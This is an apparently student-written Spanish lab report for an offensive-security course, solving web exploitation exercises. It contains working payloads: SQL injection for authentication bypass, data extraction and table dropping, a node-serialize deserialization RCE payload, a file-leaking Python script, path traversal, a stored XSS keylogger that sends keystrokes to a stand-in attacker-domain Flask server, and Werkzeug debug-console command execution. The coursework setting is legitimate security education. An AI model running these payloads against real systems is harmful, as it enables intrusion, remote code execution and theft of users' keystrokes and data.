Seguridad Ofensiva 2020: Trabajo Práctico 2

Federico Juan Badaloni y Damián Ariel Marotte

28 de septiembre de 2020

Ejercicio 1

Apartado a

Para obtener el secreto de bob, se puede realizar el siguiente procedimiento:

1. El primer paso es testear si la aplicación es vulnerable a inyección de código SQL. Para ello fue suficiente con rellenar el campo usuario con un apostrofe «'» y el campo Password con cualquier cosa.

2. El error que se produce no solo confirma nuestra sospecha, si no que ademas revela otra vulnerabilidad: el depurador del servidor esta configurado para revelar el código fuente ante un error. Basta hacer click sobre la linea de código correspondiente para observarlo.

3. El código fuente nos revela información sobre la consulta que se está realizando

   ```
   query = """SELECT id, password_hash, salt FROM users
              WHERE username = '%s' LIMIT 1""" % username
   ```

   y sobre como se procesa la contraseña ingresada en el formulario

   ```
   calculated_hash = hashlib.sha256(salt + password + salt)
   ```

4. El siguiente paso consiste en diseñar la consulta que inyectará el código SQL.

   a) Interrumpimos la consulta original con un apostrofe «'». Esto hará que la consulta no devuelva ninguna fila.

   b) Unimos al resultado anterior (vacío) una fila con la identificación del usuario bob e información constante: un hash conocido y sal vacía

   ```
   UNION SELECT id,
   'ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb',
   '' FROM users WHERE username = 'bob'
   ```

   c) Agregamos un comentario y un espacio al final, para bloquear el resto de la consulta original «-- ».

5. Luego se introduce la cadena diseñada previamente en el campo de Usuario, y la contraseña correspondiente al hash conocido (en nuestro caso «a») en el campo Password.

Al finalizar el proceso, se obtiene el mensaje desado: «Gate's Gm@Il Passw0rd R3m1nder: Ennyn Durin Aran Moria. Pedo Mellon a Minno. Im Narvi hain echant. Celebrimbor o Eregion teithant i thiw hin.»

Apartado b

Basándonos en nuestro trabajo anterior, y haciendo uso de la funcion «`COUNT`» del lenguaje SQL puede inyectarse la siguiente consulta:

```
'UNION SELECT COUNT(id),
'ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb',
'' FROM users --
```

La consulta anterior produce un error que da cuentas de la cantidad de usuarios en dicha tabla: `KeyError: '6'`.

Apartado c

Análogamente al apartado anterior puede seleccionarse el campo `GROUP_CONCAT(username)`, logrando obtener de esta manera los nombres de los usuarios:

```
KeyError: 'cacho,bob,john,mallory,eve,kisio'
```

Ejercicio 2

Apartado a

El servidor esta utilizando el framework Express, para Node.js

Apartado b

Luego de acceder al sitio por primera vez, puede observarse el siguiente error en los sucesivos ingresos:

```
SyntaxError: Unexpected token F in JSON at position 79
    at JSON.parse (<anonymous>)
    at Object.exports.unserialize (/under/node_modules/node-serialize/lib/serialize.js:62:16)
    at /under/server.js:12:29
```

Esto nos revela no solo que nuestro navegador ahora posee una cookie, sino que además está siendo procesada por deserialización. Esto permite la ejecución de código remoto, como se vera a continuación.

Apartado c

Usando las herramientas para desarrolladores del navegador, podemos observar el contenido de la cookie:

```
eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdja
Gp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D
```

Sospechamos que se encuentra codificada en base 64. Un posterior proceso de decodificación confirma lo que imaginamos:

```
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=",
"Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}7.
```

Con toda esta información disponible, diseñamos la función que atacará el sitio y la serializamos. El siguiente código en JavaScript

```
var payload = {
  username : function() {
      var tmp = require('child_process').execSync;
      return tmp('cat server.js')
  }
}

var serialize = require('node-serialize');
console.log(serialize.serialize(payload));
```

produce la siguiente salida

```
{"username":"_$$ND_FUNC$$_function() {\n
var tmp = require('child_process').execSync;\n
return tmp('cat server.js')\n  }"}
```

Solo resta agregar () antes de las ultimas comillas, codificar nuevamente en base 64 y modificar la cookie. El resultado final es el siguiente:

```
Hello
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var fs = require('fs');
var app = express();
app.use(cookieParser()) app.get('/', function(req, res) {
  if (req.cookies.profile) {
    var str = new Buffer(req.cookies.profile, 'base64').toString();
    var obj = serialize.unserialize(str);
    if (obj.username) {
      res.send("Hello " + escape(obj.username));
    }
  } else {
    res.cookie('profile',
    "eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdja
    { maxAge: 900000, httpOnly: true });
    res.send("The site is not yet complete, Come Back Later! <br>
    <img src=\"http://4.bp.blogspot.com/-Z9dJiifAj7g/VrIkhsdHhoI/AAAAAAAABxU/Te7Z3
    alt=\"doh\"> ");
  }
});
app.listen(6789);
```

Ejercicio 3

Apartado a

El sitio web es vulnerable a ataques de tipo SQL Injection. Si se accede a la siguiente URL, se pueden borrar tablas de la base de datos:

```
http://143.0.100.198:5010/meme?id=1; DROP TABLE memes
```

Apartado b

La herramienta `sqlmap` nos permitió obtener el contenido de la base de datos.

```
Database: memes_db

Table: albums
[1 entry]
+----+--------+
| id | title  |
+----+--------+
| 1  | Random |
+----+--------+

Table: memes
[5 entries]
+----+----------------+--------+-------------------+
| id | title          | parent | filename          |
+----+----------------+--------+-------------------+
| 1  | Gondor Captain | 1      | files/boromir.jpg |
| 2  | GranMa         | 1      | files/cookies.jpg |
| 3  | You            | 1      | files/hacker.jpg  |
| 4  | Not too fine   | 1      | files/fine.png    |
| 5  | Diegote        | 1      | klpsrmfazznufesg  |
+----+----------------+--------+-------------------+
```

Esto nos da la pista de que el servidor carga los archivos según el path que recupera de la consulta. Entonces, con el siguiente script y un diccionario de nombres comunes de archivos de aplicaciones web, podemos intentar leakear algunos:

```python
import requests import urllib.parse
def try_file(filename: str) -> None:
    url = f"http://143.0.100.198:5010/meme?id=99 UNION SELECT '{filename}'"
    r = requests.get(url)
    if r.status_code == 200:
        print(f"FILENAME: {filename}\n\n")
        print(r.text)
```

```
    elif r.status_code == 404:
        print(f"FILENAME: {filename}\n\n")
        print("404 :(")
    else:
        print(f"FILENAME: {filename}, CODE: {r.status_code}\n\n")

def try_list(list_path):
    f = open(list_path)
    lines = f.readlines()
    f.close()
    main_lines = [l[:-1] for l in lines if "main" in l]
    print(main_lines)
    for l in main_lines:
        try_file(l)

if __name__ == "__main__":
    try_list("all.txt")
```

De esta forma, obtuvimos el código fuente, que contenía la siguiente flag:

```
# ^FLAG^ SEGURIDAD-OFENSIVA-FAMAF $FLAG$
```

Ejercicio 4

Apartado a

La función `sanitizeLang` no hace una sanitización correcta. La siguiente request

```
GET / HTTP/1.1
Host: localhost:8080
Accept-Language: ..../secreto
```

permite leakear el archivo `secreto` que se encuentra por fuera del directorio `lang`. Esto se debe a que si bien `sanitizeLang` remueve las ocurrencias de `../` en el path, no checkea que el resutado luego del reemplazo no contenga nuevamente un `../`.

Apartado b

Esto puede arreglarse facilmente reemplazando `sanitizeLang` por la siguiente función:

```
private function sanitizeLang($lang) {
    while(strpos($lang, '../') !== FALSE)
        $lang = str_replace('../', '', $lang);
    return $lang;
}
```

Sin embargo es probable que existan otras posibilidades de ataque que desconozcamos, por lo que es preferible utilizar la función de PHP `filter_var` aplicando el filtro `FILTER_SANITIZE_URL`.

Ejercicio 5

Un ataque de Cross-Site Scripting (XSS) es un tipo de ataque en el que se inyecta código malicioso en un sitio benigno. En este caso, aprovecharemos la vulnerabilidad en el campo de comentarios en `dvwa/vulnerabilities/xss_s/` que inserta en el sitio, visible por todos los futuros visitantes, lo que se le ingrese en el formulario de comentarios sin ningún tipo de sanitización. Aprovecharemos esto para insertar código JavaScript.

El único obstáculo que deberemos superar es que el límite de tamaño de los comentarios es insuficiente para escribir un script útil, pero podemos superar esa limitación cargando el mismo remotamente. Usaremos el siguiente comentario:

```
<script src="http://<<dominio-atacante>>/src" type="text/javascript"></script>
```

Mientras que en nuestro dominio atacante, levantaremos un sencillo servidor Flask con el siguiente código Python 3:

```
from flask import Flask, request
app = Flask(__name__)

# Recibe las reclas y las imprime en pantalla.
@app.route('/log/<key>', methods=["GET"])
```

```
def keylog(key):
    print(f"{request.remote_addr} pressed: {key}")
    return ""

# Envia el script para superar el limite de catacteres
@app.route('/src', methods=["GET"])
def script():
    return \
"""
    var keylogger_server = "http://<<dominio-atacante>>/log/"

    document.onkeypress = function (e) {
        var xhttp = new XMLHttpRequest();
        xhttp.open("GET", keylogger_server + e.key, true);
        xhttp.send();
    }
"""

if __name__ == '__main__':
    app.run()
```

Este servidor envía el script malicioso cuando se carga la página y se encarga luego de recibir las teclas.

Ejercicio 6

Apartado a

Si se analizan en un proxy las respuestas a los request que realiza el navegador al ingresar al sitio, puede observarse el siguiente dato:

```
Server: Werkzeug/0.10.4 Python/2.7.12
```

Dicho servidor provee en algunas configuraciones una consola de depuración en el path `/console`. Puede aprovecharse esa consola para ejecutar el siguiente código en Python:

```
import subprocess
print(subprocess.check_output("cat flag.txt", shell=True))
```

el cual produce la salida «flag{ThIs_Even_PaSsED_c0d3_rewVIEW}».

Apartado b

El problema fue que el administrador debió deshabilitar la consola de depuración.